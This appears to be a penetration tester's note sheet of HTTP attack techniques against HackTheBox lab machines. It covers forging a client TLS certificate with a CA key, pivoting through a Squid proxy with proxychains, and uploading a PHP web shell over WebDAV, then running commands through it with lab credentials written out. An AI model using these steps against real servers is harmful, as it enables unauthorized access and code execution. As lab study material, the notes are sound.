HTTP/HTTPS

HyperText Transfer Protocol

Generate a TLS Certificate

With the CA private key already

1. Verify Client Certificate Requirements:

openssl s_client -connect 10.10.10.131:443

1. Generate the client's private key:

openssl genrsa -out client.key 4096

1. Create a certificate signing request (CSR) , ensure the fields match the server's expectations:

openssl req -new -key client.key -out client.req

1. Sign the CSR with the CA’s private key to issue a client certificate :

openssl x509 -req -in client.req -CA lacasadepapel-htb.pem -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer

1. Convert the private key and certificate into a PKCS#12 (.p12) format file for easy import:

openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

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Squid Proxy

• The config file normally lives in /etc/squid/squid.conf

• Relays on /usr/lib/squid/basic_ncsa_auth for authentication and the program stores the passwords in /etc/squid/passwords.

• Check if you can reverse it to access the local network.

• First add the address and port to the last line of your proxychains.conf file:

http 10.10.10.67 312

• Then, just nmap the localhost:

proxychains nmap -n -sT 127.0.0.1

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Upstream Proxy Server

1. On burp go to Settings > Network > Connections

2. Create a new rule with * for the Destination Host, set the target proxy as the Proxy Host/Port and set the credentials with basic Authentication type.

3. In order to fuzz the localhost, set a Proxy Listener, redirect to 127.0.0.1:80 and set 127.0.0.1:1234 as the interface.

4. Now add the interface to /etc/proxychains.conf.

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WebDAV

Web Distributed Authoring and Versioning, an extension of the HTTP protocol that allows users to collaboratively edit and manage files stored on a remote server.

• Extends HTTP methods like GET and POST with additional ones like PROPFIND, PROPPATCH, MKCOL, DELETE, COPY, MOVE, and LOCK.

• Credentials can be found at webdav.passwd.

• devtest can be use for enumeration.

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Upload files

curl --upload-file ./file.php --user <UserName>:<Password> http://10.10.10.67/webdav_test_inception/

Run commands from revshell

curl --data-urlencode 'cmd=id' http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/file.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumeration

davtest.pl -url http://10.10.10.67/webdav_test_inception -auth <UserName>:<Password>